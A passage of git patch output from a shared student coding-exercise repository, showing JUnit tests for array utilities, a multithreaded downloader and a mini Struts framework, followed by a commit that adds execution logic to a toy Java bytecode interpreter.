+	public View setParameters(Map<String, Object> parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group19/1294642551/test/data_Structure_Utils/ArrayUtilTest.java b/group19/1294642551/test/data_Structure_Utils/ArrayUtilTest.java
index c4c478e1b2..3a2ff9491a 100644
--- a/group19/1294642551/test/data_Structure_Utils/ArrayUtilTest.java
+++ b/group19/1294642551/test/data_Structure_Utils/ArrayUtilTest.java
@@ -2,23 +2,30 @@
 
 
 import org.junit.Assert;
+import org.junit.Before;
 import org.junit.Test;
 
 public class ArrayUtilTest {
 
+	private ArrayUtil au;
+	@Before
+    public void setUp(){
+		au = new ArrayUtil();
+	}
+	
 	@Test
 	public void testReverseArray() {
-		ArrayUtil au = new ArrayUtil();
+		
 		int[] origin = {7, 9, 30, 3, 4};
 		int[] expecteds ={4, 3, 30, 9, 7};
-		int[] actuals = au.reverseArray(origin);
+		au.reverseArray(origin);
+		int[] actuals = origin;
 		
 		Assert.assertArrayEquals(expecteds, actuals);
 	}
 
 	@Test
 	public void testRemoveZero() {
-		ArrayUtil au = new ArrayUtil();
 		int[] oldArray = {1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
 		int[] expecteds = {1,3,4,5,6,6,5,4,7,6,7,5};
 		int[] actuals = au.removeZero(oldArray);
@@ -29,7 +36,6 @@ public void testRemoveZero() {
 	@Test
 	public void testMerge() {
 		
-		ArrayUtil au = new ArrayUtil();
 		int[] a1 = {3, 5, 7,8};
 		int[] a2 = {4, 5, 6,7};
 		int[] expecteds = {3,4,5,6,7,8};
@@ -41,7 +47,6 @@ public void testMerge() {
 	@Test
 	public void testGrow() {
 		
-		ArrayUtil au = new ArrayUtil();
 		int[] oldArray = {2,3,6};
 		int size = 3;
 		int[] expecteds = {2,3,6,0,0,0};
@@ -53,9 +58,8 @@ public void testGrow() {
 	@Test
 	public void testFibonacci() {
 		
-		ArrayUtil au = new ArrayUtil();
-		int max = 15;
-		int[] expecteds = {1, 1, 2, 3, 5, 8, 13};
+		int max = 1;
+		int[] expecteds = new int[0];
 		int[] actuals = au.fibonacci(max);
 		
 		Assert.assertArrayEquals(expecteds, actuals);
@@ -65,7 +69,6 @@ public void testFibonacci() {
 
 	@Test
 	public void testGetPrimes() {
-		ArrayUtil au = new ArrayUtil();
 		int max = 23;
 		int[] expecteds = {2,3,5,7,11,13,17,19};
 		int[] actuals = au.getPrimes(max);
@@ -77,18 +80,22 @@ public void testGetPrimes() {
 	@Test
 	public void testGetPerfectNumbers() {
 		
-		ArrayUtil au = new ArrayUtil();
 		int max = 30;
 		int[] expecteds = {6, 28};
 		int[] actuals = au.getPerfectNumbers(max);
 		
 		Assert.assertArrayEquals(expecteds, actuals);
+		
+		max = 2;
+		expecteds = new int[0];
+		actuals = au.getPerfectNumbers(max);
+		
+		Assert.assertArrayEquals(expecteds, actuals);
 	}
 
 	@Test
 	public void testJoin() {
 		
-		ArrayUtil au = new ArrayUtil();
 		int[] array = {3, 8, 9};
 		String seperator = "-";
 		String expecteds = "3-8-9";
diff --git a/group19/1294642551/test/download/ConnectionTest.java b/group19/1294642551/test/download/ConnectionTest.java
new file mode 100644
index 0000000000..e71acc8728
--- /dev/null
+++ b/group19/1294642551/test/download/ConnectionTest.java
@@ -0,0 +1,36 @@
+package download;
+
+import java.io.IOException;
+
+import junit.framework.Assert;
+
+import org.junit.Test;
+
+import download.api.Connection;
+import download.api.ConnectionException;
+import download.api.ConnectionManager;
+import download.impl.ConnectionManagerImpl;
+
+public class ConnectionTest {
+
+	@Test
+	public void testGetContentLength() throws ConnectionException{
+		ConnectionManager connMan = new ConnectionManagerImpl();
+		Connection conn = connMan.open("http://www.hinews.cn/pic/0/13/91/26/13912621_821796.jpg");
+		Assert.assertEquals(35470, conn.getContentLength());
+	}
+	
+	@Test
+	public void testRead() throws ConnectionException, IOException{
+		ConnectionManager connMan = new ConnectionManagerImpl();
+		Connection conn = connMan.open("http://www.hinews.cn/pic/0/13/91/26/13912621_821796.jpg");
+		byte[] data = conn.read(0, 35470);
+		Assert.assertEquals(35470, data.length);
+		
+		data = conn.read(0, 1023);
+		Assert.assertEquals(1024, data.length);
+		
+		data = conn.read(1024, 2023);
+		Assert.assertEquals(1000, data.length);
+	}
+}
diff --git a/group19/1294642551/test/download/FileDownloaderTest.java b/group19/1294642551/test/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..e3a708390a
--- /dev/null
+++ b/group19/1294642551/test/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import download.api.ConnectionManager;
+import download.api.DownloadListener;
+import download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://www.hinews.cn/pic/0/13/91/26/13912621_821796.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url, "d:/a.jpg");
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group19/1294642551/test/litestruts/ConfigurationTest.java b/group19/1294642551/test/litestruts/ConfigurationTest.java
new file mode 100644
index 0000000000..a5e260633e
--- /dev/null
+++ b/group19/1294642551/test/litestruts/ConfigurationTest.java
@@ -0,0 +1,39 @@
+package litestruts;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * 配置类Configuration的测试类
+ * @author 12946
+ *
+ */
+
+public class ConfigurationTest {
+	
+	private Configuration cfg = new Configuration("struts.xml");
+
+	@Test
+	public void testGetClassName(){
+		String clzName = cfg.getClassName("login");
+		Assert.assertEquals("litestruts.LoginAction", clzName);
+		
+		clzName = cfg.getClassName("logout");
+		Assert.assertEquals("litestruts.LogoutAction", clzName);
+	}
+	
+	@Test
+	public void testGetResultView(){
+		String jpg = cfg.getResultView("login","success");
+		Assert.assertEquals("/jsp/homepage.jsp", jpg);
+		
+		jpg = cfg.getResultView("login","fail");
+		Assert.assertEquals("/jsp/showLogin.jsp", jpg);
+		
+		jpg = cfg.getResultView("logout","success");
+		Assert.assertEquals("/jsp/welcome.jsp", jpg);
+		
+		jpg = cfg.getResultView("logout","error");
+		Assert.assertEquals("/jsp/error.jsp", jpg);
+	}
+}
diff --git a/group19/1294642551/test/litestruts/ReflectionUtilTest.java b/group19/1294642551/test/litestruts/ReflectionUtilTest.java
new file mode 100644
index 0000000000..c04b3cda7d
--- /dev/null
+++ b/group19/1294642551/test/litestruts/ReflectionUtilTest.java
@@ -0,0 +1,110 @@
+package litestruts;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class ReflectionUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testGetSetterMethod() throws ClassNotFoundException{
+		String className = "litestruts.LoginAction";
+		Class<?> clazz = Class.forName(className);
+		List<Method> methods = ReflectionUtil.getSetterMethod(clazz);
+		
+		Assert.assertEquals(2, methods.size());
+		//----------
+		List<String> expectedNames = new ArrayList<String>();
+		expectedNames.add("setName");
+		expectedNames.add("setPassword");
+		
+		Set<String> actualNames = new HashSet<String>();
+		for(Method method : methods){
+			actualNames.add(method.getName());
+		}
+		Assert.assertTrue(actualNames.containsAll(expectedNames));
+			
+	}
+	
+	@Test
+	public void testSetParameters() throws Exception{
+		String className = "litestruts.LoginAction";
+		Class<?> clazz = Class.forName(className);
+		LoginAction action = (LoginAction) clazz.newInstance();
+		
+		Map<String, String> parameters = new HashMap<String, String>();
+		parameters.put("name", "test");
+		parameters.put("password", "1234");
+		
+		ReflectionUtil.setParameters(action, parameters);
+		
+		Field f = clazz.getDeclaredField("name");
+		f.setAccessible(true);
+		Assert.assertEquals("test", f.get(action));
+		
+		f = clazz.getDeclaredField("password");
+		f.setAccessible(true);
+		Assert.assertEquals("1234", f.get(action));
+	}
+	
+	@Test
+	public void testGetGetterMethod() throws ClassNotFoundException{
+		String className = "litestruts.LoginAction";
+		Class<?> clazz = Class.forName(className);
+		List<Method> methods = ReflectionUtil.getGetterMethod(clazz);
+		
+		Assert.assertEquals(3, methods.size());
+		//----------
+		List<String> expectedNames = new ArrayList<String>();
+		expectedNames.add("getName");
+		expectedNames.add("getPassword");
+		expectedNames.add("getMessage");
+		
+		Set<String> actualNames = new HashSet<String>();
+		for(Method method : methods){
+			actualNames.add(method.getName());
+		}
+		Assert.assertTrue(actualNames.containsAll(expectedNames));
+		
+	}
+	
+	@Test
+	public void testGetParameters() throws Exception {
+		String className = "litestruts.LoginAction";
+		Class<?> clazz = Class.forName(className);
+		LoginAction action = (LoginAction) clazz.newInstance();
+		action.setName("test");
+		action.setPassword("123456");
+		Map<String, Object> parameterMap = ReflectionUtil.getParameters(action);
+		
+		Assert.assertEquals(3, parameterMap.size());
+		
+		
+		Assert.assertEquals(null, parameterMap.get("messaage") );
+		Assert.assertEquals("test", parameterMap.get("name") );
+		Assert.assertEquals("123456", parameterMap.get("password") );
+		
+	}
+
+
+}
diff --git a/group19/1294642551/test/litestruts/StrutsTest.java b/group19/1294642551/test/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..986180da44
--- /dev/null
+++ b/group19/1294642551/test/litestruts/StrutsTest.java
@@ -0,0 +1,39 @@
+package litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}

From 315b113160291bce3b868667f515be66821ba1c2 Mon Sep 17 00:00:00 2001
From: Harry <chenhaowei93@163.com>
Date: Wed, 3 May 2017 21:50:39 +0800
Subject: [PATCH 164/262] add jvm_5 and queue

---
 .../coding2017/jvm/attr/CodeAttr.java         |   2 +-
 .../coding2017/jvm/clz/ClassFile.java         |  12 +-
 .../coding2017/jvm/cmd/BiPushCmd.java         |  35 ++-
 .../coding2017/jvm/cmd/ByteCodeCommand.java   | 242 ++++++++++--------
 .../coding2017/jvm/cmd/CommandParser.java     |  59 +----
 .../coding2017/jvm/cmd/GetFieldCmd.java       |  20 +-
 .../coding2017/jvm/cmd/GetStaticFieldCmd.java |  39 ++-
 .../coding2017/jvm/cmd/InvokeSpecialCmd.java  |  38 ++-
 .../coding2017/jvm/cmd/InvokeVirtualCmd.java  |  78 +++++-
 .../HarryHook/coding2017/jvm/cmd/LdcCmd.java  |  55 ++--
 .../coding2017/jvm/cmd/NewObjectCmd.java      |  41 ++-
 .../coding2017/jvm/cmd/NoOperandCmd.java      | 140 +++++++++-
 .../coding2017/jvm/cmd/PutFieldCmd.java       |  40 ++-
 .../coding2017/jvm/cmd/TwoOperandCmd.java     | 105 ++++----
 .../coding2017/jvm/constant/ClassInfo.java    |   7 +-
 .../coding2017/jvm/constant/ConstantInfo.java |  29 ++-
 .../jvm/engine/ExecutionResult.java           |  53 ++++
 .../coding2017/jvm/engine/ExecutorEngine.java |  78 ++++++
 .../HarryHook/coding2017/jvm/engine/Heap.java |  43 ++++
 .../coding2017/jvm/engine/JavaObject.java     |  82 ++++++
 .../coding2017/jvm/engine/MethodArea.java     |  83 ++++++
 .../coding2017/jvm/engine/MiniJVM.java        |  28 ++
 .../coding2017/jvm/engine/OperandStack.java   |  29 +++
 .../coding2017/jvm/engine/StackFrame.java     | 116 +++++++++
 .../coding2017/jvm/method/Method.java         |  82 +++++-
 .../coding2017/jvm/test/MiniJVMTest.java      |  29 +++
 26 files changed, 1226 insertions(+), 339 deletions(-)
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/ExecutionResult.java
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/ExecutorEngine.java
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/Heap.java
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/JavaObject.java
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/MethodArea.java
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/MiniJVM.java
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/OperandStack.java
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/StackFrame.java
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/MiniJVMTest.java

diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/CodeAttr.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/CodeAttr.java
index 9ecd803572..00135d59c7 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/CodeAttr.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/CodeAttr.java
@@ -99,7 +99,7 @@ private void setStackMapTable(StackMapTable t) {
     public String toString(ConstantPool pool) {
 	StringBuffer buffer = new StringBuffer();
 	for(int i=0;i<cmds.length;i++){
-		buffer.append(cmds[i].toString(pool)).append("\n");
+		buffer.append(cmds[i].toString()).append("\n");
 	}
 	//buffer.append("Code:").append(code).append("\n");
 	buffer.append("\n");
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassFile.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassFile.java
index 799a40cea7..02be0b8083 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassFile.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassFile.java
@@ -117,17 +117,9 @@ public Method getMethod(String methodName, String paramAndReturnType) {
 	return null;
     }
 
+
     public Method getMainMethod() {
-	for (Method m : methods) {
-	    int nameIndex = m.getNameIndex();
-	    int descIndex = m.getDescriptorIndex();
-	    String name = this.getConstantPool().getUTF8String(nameIndex);
-	    String desc = this.getConstantPool().getUTF8String(descIndex);
-	    if (name.equals("main") && desc.equals("([Ljava/lang/String;)V")) {
-		return m;
-	    }
-	}
-	return null;
+	return getMethod("main", "([Ljava/lang/String;)V");
     }
 
 }
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/BiPushCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/BiPushCmd.java
index 6b1c020682..d358f5f0a0 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/BiPushCmd.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/BiPushCmd.java
@@ -1,23 +1,30 @@
 package com.github.HarryHook.coding2017.jvm.cmd;
 
 import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
 import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-
+import com.github.HarryHook.coding2017.jvm.engine.ExecutionResult;
+import com.github.HarryHook.coding2017.jvm.engine.Heap;
+import com.github.HarryHook.coding2017.jvm.engine.JavaObject;
+import com.github.HarryHook.coding2017.jvm.engine.StackFrame;
 
 public class BiPushCmd extends OneOperandCmd {
 
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
+    public BiPushCmd(ClassFile clzFile, String opCode) {
+	super(clzFile, opCode);
+
+    }
+
+    @Override
+    public String toString() {
+
+	return this.getOffset() + ": " + this.getOpCode() + " " + this.getReadableCodeText() + " " + this.getOperand();
+    }
+
+    public void execute(StackFrame frame, ExecutionResult result) {
+	int value = this.getOperand();
+	JavaObject jo = Heap.getInstance().newInt(value);
+	frame.getOprandStack().push(jo);
+
+    }
 
 }
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/ByteCodeCommand.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/ByteCodeCommand.java
index f5e6705a8a..1e4142b8d3 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/ByteCodeCommand.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/ByteCodeCommand.java
@@ -6,123 +6,141 @@
 import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
 import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
 import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.engine.ExecutionResult;
+import com.github.HarryHook.coding2017.jvm.engine.StackFrame;
 
+public abstract class ByteCodeCommand {
 
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
+    String opCode;
+    ClassFile clzFile;
+    private int offset;
 
-	
+    public static final String aconst_null = "01";
+    public static final String new_object = "BB";
+    public static final String lstore = "37";
+    public static final String invokespecial = "B7";
+    public static final String invokevirtual = "B6";
+    public static final String getfield = "B4";
+    public static final String putfield = "B5";
+    public static final String getstatic = "B2";
+    public static final String ldc = "12";
+    public static final String dup = "59";
+    public static final String bipush = "10";
+    public static final String aload_0 = "2A";
+    public static final String aload_1 = "2B";
+    public static final String aload_2 = "2C";
+    public static final String iload = "15";
+    public static final String iload_1 = "1B";
+    public static final String iload_2 = "1C";
+    public static final String iload_3 = "1D";
+    public static final String fload_3 = "25";
 
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
+    public static final String voidreturn = "B1";
+    public static final String ireturn = "AC";
+    public static final String freturn = "AE";
 
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
+    public static final String astore_1 = "4C";
+    public static final String if_icmp_ge = "A2";
+    public static final String if_icmple = "A4";
+    public static final String goto_no_condition = "A7";
+    public static final String iconst_0 = "03";
+    public static final String iconst_1 = "04";
+    public static final String istore_1 = "3C";
+    public static final String istore_2 = "3D";
+    public static final String iadd = "60";
+    public static final String iinc = "84";
+    private static Map<String, String> codeMap = new HashMap<String, String>();
 
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
+    static {
+	codeMap.put("01", "aconst_null");
+
+	codeMap.put("BB", "new");
+	codeMap.put("37", "lstore");
+	codeMap.put("B7", "invokespecial");
+	codeMap.put("B6", "invokevirtual");
+	codeMap.put("B4", "getfield");
+	codeMap.put("B5", "putfield");
+	codeMap.put("B2", "getstatic");
+
+	codeMap.put("2A", "aload_0");
+	codeMap.put("2B", "aload_1");
+	codeMap.put("2C", "aload_2");
+
+	codeMap.put("10", "bipush");
+	codeMap.put("15", "iload");
+	codeMap.put("1A", "iload_0");
+	codeMap.put("1B", "iload_1");
+	codeMap.put("1C", "iload_2");
+	codeMap.put("1D", "iload_3");
+
+	codeMap.put("25", "fload_3");
+
+	codeMap.put("1E", "lload_0");
+
+	codeMap.put("24", "fload_2");
+	codeMap.put("4C", "astore_1");
+
+	codeMap.put("A2", "if_icmp_ge");
+	codeMap.put("A4", "if_icmple");
+
+	codeMap.put("A7", "goto");
+
+	codeMap.put("B1", "return");
+	codeMap.put("AC", "ireturn");
+	codeMap.put("AE", "freturn");
+
+	codeMap.put("03", "iconst_0");
+	codeMap.put("04", "iconst_1");
+
+	codeMap.put("3C", "istore_1");
+	codeMap.put("3D", "istore_2");
+
+	codeMap.put("59", "dup");
+
+	codeMap.put("60", "iadd");
+	codeMap.put("84", "iinc");
+
+	codeMap.put("12", "ldc");
+    }
+
+    protected ByteCodeCommand(ClassFile clzFile, String opCode) {
+	this.clzFile = clzFile;
+	this.opCode = opCode;
+    }
+
+    protected ClassFile getClassFile() {
+	return clzFile;
+    }
+
+    public int getOffset() {
+	return offset;
+    }
+
+    public void setOffset(int offset) {
+	this.offset = offset;
+    }
+
+    protected ConstantInfo getConstantInfo(int index) {
+	return this.getClassFile().getConstantPool().getConstantInfo(index);
+    }
+
+    protected ConstantPool getConstantPool() {
+	return this.getClassFile().getConstantPool();
+    }
+
+    public String getOpCode() {
+	return opCode;
+    }
+
+    public abstract int getLength();
+
+    public String getReadableCodeText() {
+	String txt = codeMap.get(opCode);
+	if (txt == null) {
+	    return opCode;
 	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
+	return txt;
+    }
+
+    public abstract void execute(StackFrame frame, ExecutionResult result);
 }
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/CommandParser.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/CommandParser.java
index b982fa7aa4..7ead19d285 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/CommandParser.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/CommandParser.java
@@ -7,41 +7,6 @@
 
 public class CommandParser {
 
-    public static final String aconst_null = "01";
-    public static final String new_object = "BB";
-    public static final String lstore = "37";
-    public static final String invokespecial = "B7";
-    public static final String invokevirtual = "B6";
-    public static final String getfield = "B4";
-    public static final String putfield = "B5";
-    public static final String getstatic = "B2";
-    public static final String ldc = "12";
-    public static final String dup = "59";
-    public static final String bipush = "10";
-    public static final String aload_0 = "2A";
-    public static final String aload_1 = "2B";
-    public static final String aload_2 = "2C";
-    public static final String iload = "15";
-    public static final String iload_1 = "1B";
-    public static final String iload_2 = "1C";
-    public static final String iload_3 = "1D";
-    public static final String fload_3 = "25";
-
-    public static final String voidreturn = "B1";
-    public static final String ireturn = "AC";
-    public static final String freturn = "AE";
-
-    public static final String astore_1 = "4C";
-    public static final String if_icmp_ge = "A2";
-    public static final String if_icmple = "A4";
-    public static final String goto_no_condition = "A7";
-    public static final String iconst_0 = "03";
-    public static final String iconst_1 = "04";
-    public static final String istore_1 = "3C";
-    public static final String istore_2 = "3D";
-    public static final String iadd = "60";
-    public static final String iinc = "84";
-
     public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
 
 	if ((codes == null) || (codes.length() == 0) || (codes.length() % 2) != 0) {
@@ -57,51 +22,53 @@ public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
 	while (iter.hasNext()) {
 	    String opCode = iter.next2CharAsString();
 
-	    if (new_object.equals(opCode)) {
+	    if (ByteCodeCommand.new_object.equals(opCode)) {
 		NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
 
 		cmd.setOprand1(iter.next2CharAsInt());
 		cmd.setOprand2(iter.next2CharAsInt());
 
 		cmds.add(cmd);
-	    } else if (invokespecial.equals(opCode)) {
+	    } else if (ByteCodeCommand.invokespecial.equals(opCode)) {
 		InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
 		cmd.setOprand1(iter.next2CharAsInt());
 		cmd.setOprand2(iter.next2CharAsInt());
 		// System.out.println( cmd.toString(clzFile.getConstPool()));
 		cmds.add(cmd);
-	    } else if (invokevirtual.equals(opCode)) {
+	    } else if (ByteCodeCommand.invokevirtual.equals(opCode)) {
 		InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
 		cmd.setOprand1(iter.next2CharAsInt());
 		cmd.setOprand2(iter.next2CharAsInt());
 
 		cmds.add(cmd);
-	    } else if (getfield.equals(opCode)) {
+	    } else if (ByteCodeCommand.getfield.equals(opCode)) {
 		GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
 		cmd.setOprand1(iter.next2CharAsInt());
 		cmd.setOprand2(iter.next2CharAsInt());
 		cmds.add(cmd);
-	    } else if (getstatic.equals(opCode)) {
+	    } else if (ByteCodeCommand.getstatic.equals(opCode)) {
 		GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
 		cmd.setOprand1(iter.next2CharAsInt());
 		cmd.setOprand2(iter.next2CharAsInt());
 		cmds.add(cmd);
-	    } else if (putfield.equals(opCode)) {
+	    } else if (ByteCodeCommand.putfield.equals(opCode)) {
 		PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
 		cmd.setOprand1(iter.next2CharAsInt());
 		cmd.setOprand2(iter.next2CharAsInt());
 		cmds.add(cmd);
-	    } else if (ldc.equals(opCode)) {
+	    } else if (ByteCodeCommand.ldc.equals(opCode)) {
 		LdcCmd cmd = new LdcCmd(clzFile, opCode);
 		cmd.setOperand(iter.next2CharAsInt());
 		cmds.add(cmd);
-	    } else if (bipush.equals(opCode)) {
+	    } else if (ByteCodeCommand.bipush.equals(opCode)) {
 		BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
 		cmd.setOperand(iter.next2CharAsInt());
 		cmds.add(cmd);
-	    } else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
-		    || iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
-		    || fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
+	    } else if (ByteCodeCommand.dup.equals(opCode) || ByteCodeCommand.aload_0.equals(opCode)
+		    || ByteCodeCommand.aload_1.equals(opCode) || ByteCodeCommand.aload_2.equals(opCode)
+		    || ByteCodeCommand.iload_1.equals(opCode) || ByteCodeCommand.iload_2.equals(opCode)
+		    || ByteCodeCommand.iload_3.equals(opCode) || ByteCodeCommand.fload_3.equals(opCode)
+		    || ByteCodeCommand.voidreturn.equals(opCode) || ByteCodeCommand.astore_1.equals(opCode)) {
 
 		NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
 		cmds.add(cmd);
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetFieldCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetFieldCmd.java
index ec34e7b4a7..e9be866ec6 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetFieldCmd.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetFieldCmd.java
@@ -2,6 +2,10 @@
 
 import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
 import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
+import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
+import com.github.HarryHook.coding2017.jvm.engine.ExecutionResult;
+import com.github.HarryHook.coding2017.jvm.engine.JavaObject;
